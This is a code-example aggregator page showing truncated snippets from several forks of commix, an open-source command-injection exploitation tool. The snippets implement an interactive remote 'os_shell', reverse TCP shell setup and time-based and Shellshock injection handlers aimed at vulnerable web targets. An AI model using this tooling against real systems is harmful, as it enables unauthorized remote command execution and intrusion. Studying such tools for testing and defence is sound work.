本文整理汇总了Python中src.core.injections.controller.checks.next_attack_vector函数的典型用法代码示例。如果您正苦于以下问题:Python next_attack_vector函数的具体用法?Python next_attack_vector怎么用?Python next_attack_vector使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了next_attack_vector函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Python代码示例。
示例1: tb_injection_handler
#.........这里部分代码省略.........
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
gotshell = raw_input("(?) Do you want a Pseudo-Terminal? [Y/n/q] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
while True:
try:
# Tab compliter
readline.set_completer(menu.tab_completer)
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
# Set up LHOST / LPORT for The reverse TCP connection.
lhost, lport = reverse_tcp.configure_reverse_tcp()
while True:
if lhost and lport in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(lhost)
else:
cmd = reverse_tcp.reverse_tcp_options(lhost, lport)
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import cb_injector
whitespace = settings.WHITESPACES[0]
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG)
# Exploirt injection result
if menu.options.verbose:
print ""
print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
else:
pass
else:
print ""
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename)
# Exploirt injection result
tb_injector.export_injection_results(cmd, separator, output, check_how_long)
print ""
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOISE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOISE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
break
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
开发者ID:BwRy,项目名称:commix,代码行数:101,代码来源:tb_handler.py
示例2: eb_injection_handler
#.........这里部分代码省略.........
return False
else:
return True
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
warn_msg = "You are already into an 'os_shell' mode."
print settings.print_warning_msg(warn_msg)+ "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp()
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options()
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The reverse TCP connection has been failed!"
print settings.print_critical_msg(err_msg)
else:
pass
else:
# The main command injection exploitation.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
if menu.options.ignore_session or\
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell).replace(" ", "", 1)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
#if shell:
if shell != "":
shell = "".join(str(p) for p in shell)
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
err_msg = "The '" + cmd + "' command, does not return any output."
print "\n" + settings.print_error_msg(err_msg) + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg) + "\n"
pass
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
开发者ID:HugoDelval,项目名称:commix,代码行数:101,代码来源:eb_handler.py
示例3: tb_injection_handler
#.........这里部分代码省略.........
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + settings.WARNING_SIGN + "You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp()
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options()
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import cb_injector
separator = checks.time_based_separators(separator, http_request_method)
whitespace = settings.WHITESPACES[0]
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG)
# Export injection result
if menu.options.verbose:
print ""
print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection has been failed!" + Style.RESET_ALL
else:
pass
else:
print ""
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
# Export injection result
tb_injector.export_injection_results(cmd, separator, output, check_how_long)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
print ""
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
pass
#break
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
开发者ID:0day29,项目名称:commix,代码行数:101,代码来源:tb_handler.py
示例4: cb_injection_handler
#.........这里部分代码省略.........
if go_back == True:
break
gotshell = raw_input("(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
while True:
try:
# Tab compliter
readline.set_completer(menu.tab_completer)
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
return False
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
print Fore.YELLOW + "(^) Warning: You are already into the 'os_shell' mode." + Style.RESET_ALL + "\n"
elif os_shell_option == "reverse_tcp":
# Set up LHOST / LPORT for The reverse TCP connection.
lhost, lport = reverse_tcp.configure_reverse_tcp()
while True:
if lhost and lport in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(lhost)
else:
cmd = reverse_tcp.reverse_tcp_options(lhost, lport)
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
break
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG)
if menu.options.verbose:
print ""
print Back.RED + "(x) Error: The reverse TCP connection to the target host has been failed!" + Style.RESET_ALL
else:
pass
else:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# if need page reload
if menu.options.url_reload:
time.sleep(delay)
response = urllib.urlopen(url)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG)
if shell:
shell = "".join(str(p) for p in shell)
html_parser = HTMLParser.HTMLParser()
shell = html_parser.unescape(shell)
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
if menu.options.verbose:
print ""
print Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
elif gotshell in settings.CHOISE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOISE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
pass
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
开发者ID:dqi,项目名称:commix,代码行数:101,代码来源:cb_handler.py
示例5: cb_injection_handler
#.........这里部分代码省略.........
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
if not readline_error:
# Tab compliter
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
# Command execution results.
time.sleep(timesec)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
try:
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
except:
print ""
continue
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
html_parser = HTMLParser.HTMLParser()
shell = html_parser.unescape(shell)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(err_msg) + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print settings.print_error_msg(err_msg)
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
开发者ID:security-geeks,项目名称:commix,代码行数:101,代码来源:cb_handler.py
示例6: tfb_injection_handler
#.........这里部分代码省略.........
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
warn_msg = "You are already into an 'os_shell' mode."
print settings.print_warning_msg(warn_msg)+ "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp()
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options()
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import cb_injector
separator = checks.time_based_separators(separator, http_request_method)
whitespace = settings.WHITESPACE[0]
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The reverse TCP connection has failed!"
print settings.print_critical_msg(err_msg)
else:
pass
else:
print ""
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
print Fore.GREEN + Style.BRIGHT + output + "\n" + Style.RESET_ALL
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
开发者ID:dtrip,项目名称:commix,代码行数:101,代码来源:tfb_handler.py
示例7: shellshock_handler
#.........这里部分代码省略.........
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
warn_msg = "You are already into an 'os_shell' mode."
print settings.print_warning_msg(warn_msg)+ "\n"
elif os_shell_option == "reverse_tcp":
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp()
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options()
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if menu.options.verbose:
print ""
err_msg = "The reverse TCP connection to the target host has been failed!"
print settings.print_error_msg(err_msg)
else:
pass
else:
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
if menu.options.verbose:
print "\n" + settings.print_payload(payload)
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_error_msg(err_msg) + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
except:
print ""
sys.exit(0)
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg) + "\n"
continue
break
else:
continue
except urllib2.HTTPError, err:
if settings.IGNORE_ERR_MSG == False:
print "\n" + settings.print_error_msg(err_msg)
continue_tests = checks.continue_tests(err)
if continue_tests == True:
settings.IGNORE_ERR_MSG = True
else:
raise SystemExit()
开发者ID:ardiansn,项目名称:commix,代码行数:101,代码来源:shellshock.py
示例8: shell
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Command execution results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
if shell:
shell = " ".join(str(p) for p in shell)
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
if not shell or shell == "":
print Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
elif gotshell in settings.CHOISE_NO:
if menu.options.verbose:
print ""
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
开发者ID:x3omdax,项目名称:commix,代码行数:31,代码来源:fb_handler.py
示例9: shellshock_handler
#.........这里部分代码省略.........
else:
if enumerate_again == "":
enumerate_again = "enter"
print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
enumeration(url, cve, check_header, filename)
# File access options.
if settings.FILE_ACCESS_DONE == True :
while True:
file_access_again = raw_input("(?) Do you want to access files again? [Y/n/q] > ").lower()
if file_access_again in settings.CHOISE_YES:
file_access(url, cve, check_header, filename)
break
elif file_access_again in settings.CHOISE_NO:
break
elif file_access_again in settings.CHOISE_QUIT:
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
pass
else:
file_access(url, cve, check_header, filename)
if menu.options.os_cmd:
cmd = menu.options.os_cmd
shell = cmd_exec(url, cmd, cve, check_header, filename)
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL
sys.exit(0)
else:
# Pseudo-Terminal shell
go_back = False
while True:
if go_back == True:
break
if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False:
print ""
gotshell = raw_input("(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > ").lower()
if gotshell in settings.CHOISE_YES:
print ""
print "Pseudo-Terminal (type '?' for shell options)"
while True:
try:
cmd = raw_input("Shell > ")
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd.lower() == "?":
menu.shell_options()
elif cmd.lower() == "quit":
sys.exit(0)
elif cmd.lower() == "back":
go_back = True
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
else:
pass
else:
shell = cmd_exec(url, cmd, cve, check_header, filename)
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
except KeyboardInterrupt:
raise
except:
print ""
sys.exit(0)
elif gotshell in settings.CHOISE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOISE_QUIT:
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
continue
break
else:
continue
except urllib2.HTTPError, err:
print "\n" + Fore.YELLOW + "(^) Warning: " + str(err) + Style.RESET_ALL
开发者ID:tdr130,项目名称:commix,代码行数:101,代码来源:shellshock.py
示例10: tb_injection_handler
#.........这里部分代码省略.........
print ""
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
if false_positive_warning:
warn_msg = "Due to unexpected time delays, it is highly "
warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
false_positive_warning = False
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
# Export injection result
tb_injector.export_injection_results(cmd, separator, output, check_how_long)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
print "\n" + Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, output)
print ""
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print settings.print_error_msg(err_msg)
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
break
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
开发者ID:security-geeks,项目名称:commix,代码行数:101,代码来源:tb_handler.py
示例11: fb_injection_handler
-
Python入门教程 Python 是一种解释型、面向对象、动态数据类型的高级程序设计语言。 P
阅读:13806|2022-01-22
-
Python wikiutil.getFrontPage函数代码示例
阅读:10192|2022-05-24
-
Python 简介 Python 是一个高层次的结合了解释性、编译性、互动性和面向对象的脚本
阅读:4089|2022-01-22
-
Python tests.group函数代码示例
阅读:4043|2022-05-27
-
Python util.check_if_user_has_permission函数代码示例
阅读:3844|2022-05-27
-
Python 练习实例98 Python 100例题目:从键盘输入一个字符串,将小写字母全部转换成大
阅读:3510|2022-01-22
-
Python 环境搭建 本章节我们将向大家介绍如何在本地搭建 Python 开发环境。 Py
阅读:3030|2022-01-22
-
Python output.darkgreen函数代码示例
阅读:2653|2022-05-25
-
Python 基础语法 Python 语言与 Perl,C 和 Java 等语言有许多相似之处。但是,也
阅读:2648|2022-01-22
-
Python 中文编码前面章节中我们已经学会了如何用 Python 输出 Hello, World!,英文没
阅读:2302|2022-01-22
|
请发表评论